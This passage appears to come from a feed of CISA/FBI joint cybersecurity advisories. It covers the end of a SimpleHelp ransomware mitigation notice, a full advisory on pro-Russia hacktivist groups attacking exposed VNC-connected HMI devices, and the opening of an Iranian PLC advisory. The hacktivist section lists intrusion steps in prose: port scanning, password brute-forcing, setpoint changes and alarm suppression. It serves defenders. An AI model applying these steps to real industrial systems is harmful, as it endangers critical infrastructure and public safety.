Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.⁴

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.
Encrypted Downstream Customers and End Users
If a system has been encrypted by ransomware:

Disconnect the affected system from the internet.
Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).
Proactive Mitigations to Reduce Risk
To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

Maintain a robust asset inventory and hardware list [CPG 1.A].
Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.

An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.



Resources

Health-ISAC:Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks
Arctic Wolf: Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access
CISA: #StopRansomware Guide

Reporting
Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.
FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.
CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).
SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.
Version History
June 12, 2025: Initial version.
Notes
1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.



Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
Sat, 25 Jul 2026 09:15:46 +0200
Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.
FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

U.S. Department of Energy (DOE)
U.S. Environmental Protection Agency (EPA)
U.S. Department of Defense Cyber Crime Center (DC3)
Europol European Cybercrime Centre (EC3)
EUROJUST – European Union Agency for Criminal Justice Cooperation
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Canadian Centre for Cyber Security (Cyber Centre)
Canadian Security Intelligence Service (CSIS)
Czech Republic Military Intelligence (VZ)
Czech Republic National Cyber and Information Security Agency (NÚKIB)
Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
French National Cybercrime Unit – Gendarmerie Nationale (UNC)
French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
German Federal Office for Information Security (BSI)
Italian State Police (PS)
Latvian State Police (VP)
Lithuanian Criminal Police Bureau (LKPB)
New Zealand National Cyber Security Centre (NCSC-NZ)
Romanian National Police (PR)
Spanish Civil Guard (GC)
Spanish National Police (CNP)
Swedish Polisen (SC3)
United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.
The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.
Download the PDF version of this report:






    
    Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
    (PDF,       1.53 MB
  )
  

Background and Development of Pro-Russia Hacktivist Groups
Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.
Cyber Army of Russia Reborn
The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.
In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.
CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.
In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.
The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.
NoName057(16)
The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.
Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 
In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.
Z-Pentest
Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.
Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.
Sector16
Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.
Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.
Technical Details
Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
TTP Overview
Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.
Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.
Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.
Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
Use VNC software to access hosts [T1021.005].
Confirm connection to the vulnerable device [T0886].
Brute force the password, if required [T1110.003].
Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
Log the confirmed vulnerable device IP address, port, and password.
Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:

Modify usernames/passwords [T0892];
Modify parameters [T0836];
Modify device name [T0892];
Modify instrument settings [T0831];
Disable alarms [T0878];
Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
Device restart or shutdown [T0816].


Disconnect from the device, ending the VNC connection.
Research the compromised device company after the intrusion [T1591].

Propagation
To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.
Reconnaissance and Initial Access
The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.
Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.
Impact
While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.
Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.
MITRE ATT&CK Tactics and Techniques
See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.


Table 1. Reconnaissance


Technique Title
ID
Use




Gather Victim Organization Information
T1591
Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.


Active Scanning: Vulnerability Scanning
T1595.002
Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.




Table 2. Resource Development


Technique Title
ID
Use




Acquire Infrastructure: Virtual Private Server
T1583.003
Threat actors use virtual infrastructure to obfuscate identifiers.




Table 3. Initial Access


Technique Title
ID
Use




Internet Accessible Device
T0883
Threat actors gain access through less secure HMI devices exposed to the internet.




Table 4. Persistence


Technique Title
ID
Use




Valid Accounts
T0859
Threat actors use password guessing tools to access legitimate accounts on the HMI devices.




Table 5. Credential Access


Technique Title
ID
Use




Brute Force: Password Spraying
T1110.003
Threat actors use tools to rapidly guess common or simple passwords.




Table 6. Lateral Movement


Technique Title
ID
Use




Default Credentials
T0812
Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.


Remote Services
T0886
Threat actors leverage VNC services to access system HMI devices.


Remote Services: VNC
T1021.005
Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.




Table 7. Execution


Technique Title
ID
Use




Graphical User Interface
T0823
Threat actors interact with HMI devices via GUIs, attempting to modify control devices.




Table 8. Inhibit Response Function


Technique Title
ID
Use




Device Restart/Shutdown
T0816
While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.


Alarm Suppression
T0878
Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.


Change Credential
T0892
Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.




Table 9. Impair Process Control


Technique Title
ID
Use




Modify Parameter
T0836
Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.


Unauthorized Command Message
T0855
Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.




Table 10. Impact


Technique Title
ID
Use




Loss of Productivity and Revenue
T0828
Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.


Loss of View
T0829
Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. 


Manipulation of Control
T0831
Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  



Incident Response
If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

Determine which hosts were compromised and isolate them by quarantining or taking them offline.
Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
Reimage compromised hosts.
Provision new account credentials.
Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations
OT Asset Owners and Operators
The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].

Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.

Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.




Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].

Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.

Keep VNC systems updated with the latest version available.


Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.


Ensure OT assets use robust authentication procedures.

Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.


Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.

Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].


Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers
Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.

Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.


Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.
For more information on secure by design, see CISA’s Secure by Design webpage.
Validate Security Controls
In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.
To start:

Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
Resources
Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.
CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity that can help organizations protect OT systems from pro-Russia hacktivist activity.
NSA and CISA’s guidance on Control System Defense: Know the Opponent helps organizations defend OT and ICS assets against malicious cyber activity.
CISA and EPA’s resource page on Water and Wastewater Cybersecurity to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.

For additional guidance, see CISA, EPA, and FBI’s fact sheet on Top Cyber Actions for Securing Water Systems.


The Food and Ag-ISAC’s best practices on Food and Ag Cybersecurity: A Guide for Small & Medium Enterprises provides recommendations to help mitigate against cyber threats.
DOE and National Association of Regulatory Utility Commissioners Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER) webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.

Additional resources that apply to this advisory include:

EPA’s Cybersecurity for the Water Sector resource page provides organizations with guidance on implementing basic cyber hygiene practices.
CISA’s Cross-Sector Cybersecurity Performance Goals enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.
CISA’s Require Strong Passwords webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.
CISA, NSA, FBI, EPA, TSA, and international partners’ guidance Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.
DOE’s guidance on Cyber-Informed Engineering recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.
CISA’s Cyber Hygiene Services help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.
CISA, NSA, FBI, and international partners’ guidance on Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software urges software manufacturers to provide customers with products that are safer and more secure.

See more information in these Secure by Design Alerts: How Manufacturers Can Protect Customers by Eliminating Default Passwords and How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity.



Contact Information
U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.
New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.
United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.
Acknowledgements
Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.
Version History
December 09, 2025: Initial version.
Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups
For further information on targeting methodologies for pro-Russia hacktivist groups, see:

CISA’s alert Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology;
The joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology; and
CISA’s Russia Cyber Threat webpage.

Appendix B: Additional Designators Used for Cited Groups
The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.
Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

GRU military unit 74455

Sandworm Team
Voodoo Bear
Seashell Blizzard
APT44


Cyber Army of Russia Reborn (CARR)

CyberArmy of Russia
Народная CyberАрмия (НКА)
People’s CyberArmy of Russia (PCA)
Russian CyberArmy Team (RCAT)


NoName057(16)

NoName057(16) Spain
NoName057(16) Italy
NoName057(16) France


Z-Pentest

Z-Pentest Beograd
Z-Pentest Alliance
Z-Alliance





Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Sat, 25 Jul 2026 09:12:34 +0200
Advisory at a Glance



Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.


Last Update Description
This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.


Affected Products
Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.


Key Actions


